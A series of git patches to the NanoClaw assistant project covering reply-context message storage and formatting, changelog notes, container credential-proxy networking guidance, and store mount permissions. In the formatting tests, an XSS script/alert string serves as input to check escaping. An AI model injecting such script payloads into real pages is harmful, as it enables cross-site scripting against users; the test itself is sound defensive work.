b/repo-tokens/badge.svg index 84d32ec..ecd70ca 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 42.6k tokens, 21% of context window + + 43.0k tokens, 22% of context window @@ -15,8 +15,8 @@ tokens - - 42.6k + + 43.0k From 22f5d558553830324bc44e4ff50fc0bdc27f76b6 Mon Sep 17 00:00:00 2001 From: glifocat Date: Thu, 2 Apr 2026 12:58:30 +0200 Subject: [PATCH 014/485] Add Contributor Covenant Code of Conduct Added Contributor Covenant Code of Conduct to outline community standards and enforcement guidelines. --- CODE_OF_CONDUCT.md | 128 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..87fce6f --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,128 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity +and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +community@nanoclaw.dev. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series +of actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or +permanent ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within +the community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.0, available at +https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct +enforcement ladder](https://github.com/mozilla/diversity). + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see the FAQ at +https://www.contributor-covenant.org/faq. Translations are available at +https://www.contributor-covenant.org/translations. From 7b337a7a07a56854d4143881604989aef5d9fe58 Mon Sep 17 00:00:00 2001 From: "exe.dev user" Date: Thu, 2 Apr 2026 17:00:19 +0000 Subject: [PATCH 015/485] docs: add Telegram channel contributors Co-Authored-By: Carl Schmidt Co-Authored-By: Alfred-the-buttler Co-Authored-By: moktamd Co-Authored-By: gurixs-carson --- CONTRIBUTORS.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 4038595..e4a993b 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -16,3 +16,7 @@ Thanks to everyone who has contributed to NanoClaw! - [flobo3](https://github.com/flobo3) — Flo - [edwinwzhe](https://github.com/edwinwzhe) — Edwin He - [scottgl9](https://github.com/scottgl9) — Scott Glover +- [cschmidt](https://github.com/cschmidt) — Carl Schmidt +- [leonalfredbot-ship-it](https://github.com/leonalfredbot-ship-it) — Alfred-the-buttler +- [moktamd](https://github.com/moktamd) +- [gurixs-carson](https://github.com/gurixs-carson) From ee599b9f0c19e0355f834982a322da273b298fcc Mon Sep 17 00:00:00 2001 From: "exe.dev user" Date: Thu, 2 Apr 2026 17:05:24 +0000 Subject: [PATCH 016/485] feat: add reply/quoted message context support Add generic reply context fields to NewMessage (reply_to_message_id, reply_to_message_content, reply_to_sender_name) so any channel can pass quoted message context to the agent. - Add thread_id and reply_to_* fields to NewMessage interface - Add DB migration for reply context columns on messages table - Update storeMessage/getMessagesSince/getNewMessages to persist and retrieve reply fields - Render reply context as XML in formatMessages - Add DB and formatting tests Co-Authored-By: Alfred-the-buttler Co-Authored-By: moktamd Co-Authored-By: gurixs-carson Co-Authored-By: Claude Opus 4.6 (1M context) --- src/db.test.ts | 80 ++++++++++++++++++++++++++++++++++++++++++ src/db.ts | 26 ++++++++++++-- src/formatting.test.ts | 56 +++++++++++++++++++++++++++++ src/router.ts | 9 ++++- src/types.ts | 4 +++ 5 files changed, 171 insertions(+), 4 deletions(-) diff --git a/src/db.test.ts b/src/db.test.ts index ff4872a..e10db20 100644 --- a/src/db.test.ts +++ b/src/db.test.ts @@ -142,6 +142,86 @@ describe('storeMessage', () => { }); }); +// --- reply context persistence --- + +describe('reply context', () => { + it('stores and retrieves reply_to fields', () => { + storeChatMetadata('group@g.us', '2024-01-01T00:00:00.000Z'); + + storeMessage({ + id: 'reply-1', + chat_jid: 'group@g.us', + sender: '123', + sender_name: 'Alice', + content: 'Yes, on my way!', + timestamp: '2024-01-01T00:00:01.000Z', + reply_to_message_id: '42', + reply_to_message_content: 'Are you coming tonight?', + reply_to_sender_name: 'Bob', + }); + + const messages = getMessagesSince( + 'group@g.us', + '2024-01-01T00:00:00.000Z', + 'Andy', + ); + expect(messages).toHaveLength(1); + expect(messages[0].reply_to_message_id).toBe('42'); + expect(messages[0].reply_to_message_content).toBe( + 'Are you coming tonight?', + ); + expect(messages[0].reply_to_sender_name).toBe('Bob'); + }); + + it('returns null for messages without reply context', () => { + storeChatMetadata('group@g.us', '2024-01-01T00:00:00.000Z'); + + store({ + id: 'no-reply', + chat_jid: 'group@g.us', + sender: '123', + sender_name: 'Alice', + content: 'Just a normal message', + timestamp: '2024-01-01T00:00:01.000Z', + }); + + const messages = getMessagesSince( + 'group@g.us', + '2024-01-01T00:00:00.000Z', + 'Andy', + ); + expect(messages).toHaveLength(1); + expect(messages[0].reply_to_message_id).toBeNull(); + expect(messages[0].reply_to_message_content).toBeNull(); + expect(messages[0].reply_to_sender_name).toBeNull(); + }); + + it('retrieves reply context via getNewMessages', () => { + storeChatMetadata('group@g.us', '2024-01-01T00:00:00.000Z'); + + storeMessage({ + id: 'reply-2', + chat_jid: 'group@g.us', + sender: '456', + sender_name: 'Carol', + content: 'Agreed', + timestamp: '2024-01-01T00:00:01.000Z', + reply_to_message_id: '99', + reply_to_message_content: 'We should meet', + reply_to_sender_name: 'Dave', + }); + + const { messages } = getNewMessages( + ['group@g.us'], + '2024-01-01T00:00:00.000Z', + 'Andy', + ); + expect(messages).toHaveLength(1); + expect(messages[0].reply_to_message_id).toBe('99'); + expect(messages[0].reply_to_sender_name).toBe('Dave'); + }); +}); + // --- getMessagesSince --- describe('getMessagesSince', () => { diff --git a/src/db.ts b/src/db.ts index 5aaf0b1..f12e5b6 100644 --- a/src/db.ts +++ b/src/db.ts @@ -146,6 +146,21 @@ function createSchema(database: Database.Database): void { } catch { /* columns already exist */ } + + // Add reply context columns if they don't exist (migration for existing DBs) + try { + database.exec( + `ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`, + ); + database.exec( + `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, + ); + database.exec( + `ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`, + ); + } catch { + /* columns already exist */ + } } export function initDatabase(): void { @@ -274,7 +289,7 @@ export function setLastGroupSync(): void { */ export function storeMessage(msg: NewMessage): void { db.prepare( - `INSERT OR REPLACE INTO messages (id, chat_jid, sender, sender_name, content, timestamp, is_from_me, is_bot_message) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + `INSERT OR REPLACE INTO messages (id, chat_jid, sender, sender_name, content, timestamp, is_from_me, is_bot_message, reply_to_message_id, reply_to_message_content, reply_to_sender_name) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, ).run( msg.id, msg.chat_jid, @@ -284,6 +299,9 @@ export function storeMessage(msg: NewMessage): void { msg.timestamp, msg.is_from_me ? 1 : 0, msg.is_bot_message ? 1 : 0, + msg.reply_to_message_id ?? null, + msg.reply_to_message_content ?? null, + msg.reply_to_sender_name ?? null, ); } @@ -328,7 +346,8 @@ export function getNewMessages( // Subquery takes the N most recent, outer query re-sorts chronologically. const sql = ` SELECT * FROM ( - SELECT id, chat_jid, sender, sender_name, content, timestamp, is_from_me + SELECT id, chat_jid, sender, sender_name, content, timestamp, is_from_me, + reply_to_message_id, reply_to_message_content, reply_to_sender_name FROM messages WHERE timestamp > ? AND chat_jid IN (${placeholders}) AND is_bot_message = 0 AND content NOT LIKE ? @@ -361,7 +380,8 @@ export function getMessagesSince( // Subquery takes the N most recent, outer query re-sorts chronologically. const sql = ` SELECT * FROM ( - SELECT id, chat_jid, sender, sender_name, content, timestamp, is_from_me + SELECT id, chat_jid, sender, sender_name, content, timestamp, is_from_me, + reply_to_message_id, reply_to_message_content, reply_to_sender_name FROM messages WHERE chat_jid = ? AND timestamp > ? AND is_bot_message = 0 AND content NOT LIKE ? diff --git a/src/formatting.test.ts b/src/formatting.test.ts index a630f20..2563576 100644 --- a/src/formatting.test.ts +++ b/src/formatting.test.ts @@ -115,6 +115,62 @@ describe('formatMessages', () => { expect(result).toContain('\n\n'); }); + it('renders reply context as quoted_message element', () => { + const result = formatMessages( + [ + makeMsg({ + content: 'Yes, on my way!', + reply_to_message_id: '42', + reply_to_message_content: 'Are you coming tonight?', + reply_to_sender_name: 'Bob', + }), + ], + TZ, + ); + expect(result).toContain('reply_to="42"'); + expect(result).toContain( + 'Are you coming tonight?', + ); + expect(result).toContain('Yes, on my way!'); + }); + + it('omits reply attributes when no reply context', () => { + const result = formatMessages([makeMsg()], TZ); + expect(result).not.toContain('reply_to'); + expect(result).not.toContain('quoted_message'); + }); + + it('omits quoted_message when content is missing but id is present', () => { + const result = formatMessages( + [ + makeMsg({ + reply_to_message_id: '42', + reply_to_sender_name: 'Bob', + }), + ], + TZ, + ); + expect(result).toContain('reply_to="42"'); + expect(result).not.toContain('quoted_message'); + }); + + it('escapes special characters in reply context', () => { + const result = formatMessages( + [ + makeMsg({ + reply_to_message_id: '1', + reply_to_message_content: '', + reply_to_sender_name: 'A & B', + }), + ], + TZ, + ); + expect(result).toContain('from="A & B"'); + expect(result).toContain( + '<script>alert("xss")</script>', + ); + }); + it('converts timestamps to local time for given timezone', () => { // 2024-01-01T18:30:00Z in America/New_York (EST) = 1:30 PM const result = formatMessages( diff --git a/src/router.ts b/src/router.ts index c14ca89..d6f88ad 100644 --- a/src/router.ts +++ b/src/router.ts @@ -16,7 +16,14 @@ export function formatMessages( ): string { const lines = messages.map((m) => { const displayTime = formatLocalTime(m.timestamp, timezone); - return `${escapeXml(m.content)}`; + const replyAttr = m.reply_to_message_id + ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` + : ''; + const replySnippet = + m.reply_to_message_content && m.reply_to_sender_name + ? `\n ${escapeXml(m.reply_to_message_content)}` + : ''; + return `${replySnippet}${escapeXml(m.content)}`; }); const header = `\n`; diff --git a/src/types.ts b/src/types.ts index bcef463..717aff6 100644 --- a/src/types.ts +++ b/src/types.ts @@ -51,6 +51,10 @@ export interface NewMessage { timestamp: string; is_from_me?: boolean; is_bot_message?: boolean; + thread_id?: string; + reply_to_message_id?: string; + reply_to_message_content?: string; + reply_to_sender_name?: string; } export interface ScheduledTask { From 6e0653f5377f1c5d1b248a5fbadf6ab1692c0a5a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Apr 2026 17:05:44 +0000 Subject: [PATCH 017/485] chore: bump version to 1.2.46 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index f33770a..914930e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.45", + "version": "1.2.46", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.45", + "version": "1.2.46", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index c763e74..26be4c4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.45", + "version": "1.2.46", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From f23a54aea0dd16bbc116628c8b3b2cb70915fb6f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Apr 2026 17:05:46 +0000 Subject: [PATCH 018/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?3.3k=20tokens=20=C2=B7=2022%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg b/repo-tokens/badge.svg index ecd70ca..07f48ec 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 43.0k tokens, 22% of context window + + 43.3k tokens, 22% of context window @@ -15,8 +15,8 @@ tokens - - 43.0k + + 43.3k From 6f93b20cd1f787455d3e153171597fe0b8022f0f Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 3 Apr 2026 11:25:57 +0300 Subject: [PATCH 019/485] fix: relax breaking change detection to match [BREAKING] anywhere in line Previously required `[BREAKING]` at the start of the line, missing entries formatted as `- [BREAKING] ...` in changelogs. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/update-nanoclaw/SKILL.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/skills/update-nanoclaw/SKILL.md b/.claude/skills/update-nanoclaw/SKILL.md index 496d409..9de18e6 100644 --- a/.claude/skills/update-nanoclaw/SKILL.md +++ b/.claude/skills/update-nanoclaw/SKILL.md @@ -188,7 +188,7 @@ After validation succeeds, check if the update introduced any breaking changes. Determine which CHANGELOG entries are new by diffing against the backup tag: - `git diff ..HEAD -- CHANGELOG.md` -Parse the diff output for lines starting with `+[BREAKING]`. Each such line is one breaking change entry. The format is: +Parse the diff output for added lines (starting with `+`) that contain `[BREAKING]` anywhere in the line. Each such line is one breaking change entry. The format is: ``` [BREAKING] . Run `/` to . ``` From bf11109825525908fd4e3a51b662a0a4eadd3424 Mon Sep 17 00:00:00 2001 From: Gavriel Cohen Date: Fri, 3 Apr 2026 12:31:11 +0300 Subject: [PATCH 020/485] docs: update breaking changes and Apple Container skill security - Update OneCLI breaking change entry to note Apple Container alternative - Add breaking change for pino removal affecting WhatsApp users - Add credential proxy network binding phase to /convert-to-apple-container skill with private/public network guidance and macOS firewall setup - Add Apple Container networking contributors Co-Authored-By: MrBlaise <3867275+MrBlaise@users.noreply.github.com> Co-Authored-By: lbsnrs <47463+lbsnrs@users.noreply.github.com> Co-Authored-By: spencer-whitman <28708638+spencer-whitman@users.noreply.github.com> Co-Authored-By: lazure-ocean <43110733+lazure-ocean@users.noreply.github.com> Co-Authored-By: Claude Opus 4.6 (1M context) --- .../convert-to-apple-container/SKILL.md | 41 ++++++++++++++++++- CHANGELOG.md | 6 ++- CONTRIBUTORS.md | 4 ++ 3 files changed, 48 insertions(+), 3 deletions(-) diff --git a/.claude/skills/convert-to-apple-container/SKILL.md b/.claude/skills/convert-to-apple-container/SKILL.md index caf9c22..c37633c 100644 --- a/.claude/skills/convert-to-apple-container/SKILL.md +++ b/.claude/skills/convert-to-apple-container/SKILL.md @@ -45,7 +45,7 @@ Apple Container requires macOS. It does not work on Linux. grep "CONTAINER_RUNTIME_BIN" src/container-runtime.ts ``` -If it already shows `'container'`, the runtime is already Apple Container. Skip to Phase 3. +If it already shows `'container'`, the runtime is already Apple Container. Skip to Phase 4. ## Phase 2: Apply Code Changes @@ -86,7 +86,44 @@ npm run build All tests must pass and build must be clean before proceeding. -## Phase 3: Verify +## Phase 3: Credential proxy network binding + +Apple Container uses a bridge network (bridge100) that only exists while containers are running. The credential proxy must start before any container, so it cannot bind to the bridge IP. It must bind to `0.0.0.0`, which exposes port 3001 on all network interfaces — anyone on your local network could route API requests through the proxy using your credentials. + +Use AskUserQuestion to ask the user: + +**"The credential proxy needs to bind to all interfaces (0.0.0.0). Is this Mac on a trusted private network?"** + +Options: +1. **Yes, private/home network** — description: "No firewall rule needed." +2. **No, shared/public network** — description: "Add a macOS firewall rule to block external access to port 3001." + +For both options, add `CREDENTIAL_PROXY_HOST=0.0.0.0` to `.env`: + +```bash +grep -q 'CREDENTIAL_PROXY_HOST' .env 2>/dev/null || echo 'CREDENTIAL_PROXY_HOST=0.0.0.0' >> .env +``` + +If they chose the public network option, set up and persist the firewall rule: + +```bash +echo "block in on en0 proto tcp to any port 3001" | sudo pfctl -ef - +``` + +```bash +grep -q 'nanoclaw proxy' /etc/pf.conf 2>/dev/null || echo '# nanoclaw proxy — block LAN access to credential proxy +block in on en0 proto tcp to any port 3001' | sudo tee -a /etc/pf.conf > /dev/null +``` + +Verify the rule is working: + +```bash +curl -sf http://$(ipconfig getifaddr en0):3001 && echo "EXPOSED — rule not working" || echo "BLOCKED — rule active" +``` + +If the verification shows "EXPOSED", warn the user and retry. If "BLOCKED", confirm success and continue. + +## Phase 4: Verify ### Ensure Apple Container runtime is running diff --git a/CHANGELOG.md b/CHANGELOG.md index 28178e8..2503be7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,9 +4,13 @@ All notable changes to NanoClaw will be documented in this file. For detailed release notes, see the [full changelog on the documentation site](https://docs.nanoclaw.dev/changelog). +## [1.2.36] - 2026-03-26 + +- [BREAKING] Replaced pino logger with built-in logger. WhatsApp users must re-merge the WhatsApp fork to pick up the Baileys logger compatibility fix: `git fetch whatsapp main && git merge whatsapp/main`. If the `whatsapp` remote is not configured: `git remote add whatsapp https://github.com/qwibitai/nanoclaw-whatsapp.git`. + ## [1.2.35] - 2026-03-26 -- [BREAKING] OneCLI Agent Vault replaces the built-in credential proxy. Existing `.env` credentials must be migrated to the vault. Run `/init-onecli` to install OneCLI and migrate credentials. +- [BREAKING] OneCLI Agent Vault replaces the built-in credential proxy. Check your runtime: `grep CONTAINER_RUNTIME_BIN src/container-runtime.ts` — if it shows `'container'` you are on Apple Container, if `'docker'` you are on Docker. Docker users: run `/init-onecli` to install OneCLI and migrate `.env` credentials to the vault. Apple Container users: re-merge the skill branch (`git fetch upstream skill/apple-container && git merge upstream/skill/apple-container`) then run `/convert-to-apple-container` and follow all instructions (configures credential proxy networking) — do NOT run `/init-onecli`, it requires Docker. ## [1.2.21] - 2026-03-22 diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index e4a993b..033f2c7 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -20,3 +20,7 @@ Thanks to everyone who has contributed to NanoClaw! - [leonalfredbot-ship-it](https://github.com/leonalfredbot-ship-it) — Alfred-the-buttler - [moktamd](https://github.com/moktamd) - [gurixs-carson](https://github.com/gurixs-carson) +- [MrBlaise](https://github.com/MrBlaise) — Balázs Rostás +- [lbsnrs](https://github.com/lbsnrs) — Andreas Liebschner +- [spencer-whitman](https://github.com/spencer-whitman) +- [lazure-ocean](https://github.com/lazure-ocean) — Cyril Ionov From e9db4d461d0470b38260247fec76c39da14a2b66 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 3 Apr 2026 12:49:38 +0300 Subject: [PATCH 021/485] Update SKILL.md --- .claude/skills/update-nanoclaw/SKILL.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/skills/update-nanoclaw/SKILL.md b/.claude/skills/update-nanoclaw/SKILL.md index 9de18e6..c8941d3 100644 --- a/.claude/skills/update-nanoclaw/SKILL.md +++ b/.claude/skills/update-nanoclaw/SKILL.md @@ -188,7 +188,7 @@ After validation succeeds, check if the update introduced any breaking changes. Determine which CHANGELOG entries are new by diffing against the backup tag: - `git diff ..HEAD -- CHANGELOG.md` -Parse the diff output for added lines (starting with `+`) that contain `[BREAKING]` anywhere in the line. Each such line is one breaking change entry. The format is: +Parse the diff output for lines that contain `[BREAKING]` anywhere in the line. Each such line is one breaking change entry. The format is: ``` [BREAKING] . Run `/` to . ``` From 032ba77a7fee9a3407bb03b8d49baa781eb45310 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 3 Apr 2026 16:17:57 +0300 Subject: [PATCH 022/485] feat: mount store rw for main agent and add requiresTrigger to register_group - Mount store/ separately as read-write so the main agent can access the SQLite database directly. - Add requiresTrigger parameter to the register_group MCP tool (host IPC already supported it, but the tool never exposed it). Defaults to false (no trigger). - Update group registration instructions to ask user about trigger. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/ipc-mcp-stdio.ts | 7 +++++++ docs/SECURITY.md | 3 ++- groups/main/CLAUDE.md | 14 ++++++++------ src/container-runner.ts | 11 ++++++++++- 4 files changed, 27 insertions(+), 8 deletions(-) diff --git a/container/agent-runner/src/ipc-mcp-stdio.ts b/container/agent-runner/src/ipc-mcp-stdio.ts index fb429ed..989891b 100644 --- a/container/agent-runner/src/ipc-mcp-stdio.ts +++ b/container/agent-runner/src/ipc-mcp-stdio.ts @@ -460,6 +460,12 @@ Use available_groups.json to find the JID for a group. The folder name must be c 'Channel-prefixed folder name (e.g., "whatsapp_family-chat", "telegram_dev-team")', ), trigger: z.string().describe('Trigger word (e.g., "@Andy")'), + requiresTrigger: z + .boolean() + .optional() + .describe( + 'Whether messages must start with the trigger word. Default: false (respond to all messages). Set to true for busy groups with many participants where you only want the agent to respond when explicitly mentioned.', + ), }, async (args) => { if (!isMain) { @@ -480,6 +486,7 @@ Use available_groups.json to find the JID for a group. The folder name must be c name: args.name, folder: args.folder, trigger: args.trigger, + requiresTrigger: args.requiresTrigger ?? false, timestamp: new Date().toISOString(), }; diff --git a/docs/SECURITY.md b/docs/SECURITY.md index 7cf29f8..dbfd6bf 100644 --- a/docs/SECURITY.md +++ b/docs/SECURITY.md @@ -42,7 +42,7 @@ private_key, .secret **Read-Only Project Root:** -The main group's project root is mounted read-only. Writable paths the agent needs (group folder, IPC, `.claude/`) are mounted separately. This prevents the agent from modifying host application code (`src/`, `dist/`, `package.json`, etc.) which would bypass the sandbox entirely on next restart. +The main group's project root is mounted read-only. Writable paths the agent needs (store, group folder, IPC, `.claude/`) are mounted separately. This prevents the agent from modifying host application code (`src/`, `dist/`, `package.json`, etc.) which would bypass the sandbox entirely on next restart. The `store/` directory is mounted read-write so the main agent can access the SQLite database directly. ### 3. Session Isolation @@ -88,6 +88,7 @@ Each NanoClaw group gets its own OneCLI agent identity. This allows different cr | Capability | Main Group | Non-Main Group | |------------|------------|----------------| | Project root access | `/workspace/project` (ro) | None | +| Store (SQLite DB) | `/workspace/project/store` (rw) | None | | Group folder | `/workspace/group` (rw) | `/workspace/group` (rw) | | Global memory | Implicit via project | `/workspace/global` (ro) | | Additional mounts | Configurable | Read-only unless allowed | diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index e99de77..a94c004 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -83,15 +83,16 @@ Anthropic credentials must be either an API key from console.anthropic.com (`ANT ## Container Mounts -Main has read-only access to the project and read-write access to its group folder: +Main has read-only access to the project, read-write access to the store (SQLite DB), and read-write access to its group folder: | Container Path | Host Path | Access | |----------------|-----------|--------| | `/workspace/project` | Project root | read-only | +| `/workspace/project/store` | `store/` | read-write | | `/workspace/group` | `groups/main/` | read-write | Key paths inside the container: -- `/workspace/project/store/messages.db` - SQLite database +- `/workspace/project/store/messages.db` - SQLite database (read-write) - `/workspace/project/store/messages.db` (registered_groups table) - Group config - `/workspace/project/groups/` - All group folders @@ -172,10 +173,11 @@ Fields: ### Adding a Group 1. Query the database to find the group's JID -2. Use the `register_group` MCP tool with the JID, name, folder, and trigger -3. Optionally include `containerConfig` for additional mounts -4. The group folder is created automatically: `/workspace/project/groups/{folder-name}/` -5. Optionally create an initial `CLAUDE.md` for the group +2. Ask the user whether the group should require a trigger word before registering +3. Use the `register_group` MCP tool with the JID, name, folder, trigger, and the chosen `requiresTrigger` setting +4. Optionally include `containerConfig` for additional mounts +5. The group folder is created automatically: `/workspace/project/groups/{folder-name}/` +6. Optionally create an initial `CLAUDE.md` for the group Folder naming convention — channel prefix with underscore separator: - WhatsApp "Family Chat" → `whatsapp_family-chat` diff --git a/src/container-runner.ts b/src/container-runner.ts index f6f86b1..31efa96 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -68,7 +68,7 @@ function buildVolumeMounts( if (isMain) { // Main gets the project root read-only. Writable paths the agent needs - // (group folder, IPC, .claude/) are mounted separately below. + // (store, group folder, IPC, .claude/) are mounted separately below. // Read-only prevents the agent from modifying host application code // (src/, dist/, package.json, etc.) which would bypass the sandbox // entirely on next restart. @@ -89,6 +89,15 @@ function buildVolumeMounts( }); } + // Main gets writable access to the store (SQLite DB) so it can + // query and write to the database directly. + const storeDir = path.join(projectRoot, 'store'); + mounts.push({ + hostPath: storeDir, + containerPath: '/workspace/project/store', + readonly: false, + }); + // Main also gets its group folder as the working directory mounts.push({ hostPath: groupDir, From 8f28cde41d1a1459551527d3f2ac2250ea46c2c3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 3 Apr 2026 13:18:15 +0000 Subject: [PATCH 023/485] chore: bump version to 1.2.47 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 914930e..ae2ccf5 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.46", + "version": "1.2.47", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.46", + "version": "1.2.47", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index 26be4c4..2cee595 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.46", + "version": "1.2.47", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 3608f05233a1c4ff7c85805420330e058025e26b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 3 Apr 2026 13:18:23 +0000 Subject: [PATCH 024/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?3.4k=20tokens=20=C2=B7=2022%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg b/repo-tokens/badge.svg index 07f48ec..756409d 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 43.3k tokens, 22% of context window + + 43.4k tokens, 22% of context window @@ -15,8 +15,8 @@ tokens - - 43.3k + + 43.4k From f60bb3c3d5686856bfc377d6adbba5678df05b71 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 3 Apr 2026 22:06:35 +0300 Subject: [PATCH 025/485] feat: add /migrate-nanoclaw skill for intent-based upgrades Replaces merge-based upgrades with a two-phase approach: 1. Extract: analyzes user's fork, captures customizations as a migration guide (intent + implementation details in markdown) 2. Upgrade: checks out clean upstream in a worktree, reapplies customizations from the guide, validates, and swaps in Key features: - Tiered complexity (lightweight/standard/complex) - Sub-agent exploration with haiku for efficient analysis - Incremental guide updates instead of full re-extraction - Live e2e testing via worktree symlinks before swapping - New-changes guard prevents losing unrecorded work Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/migrate-nanoclaw/SKILL.md | 440 +++++++++++++++++++++++ 1 file changed, 440 insertions(+) create 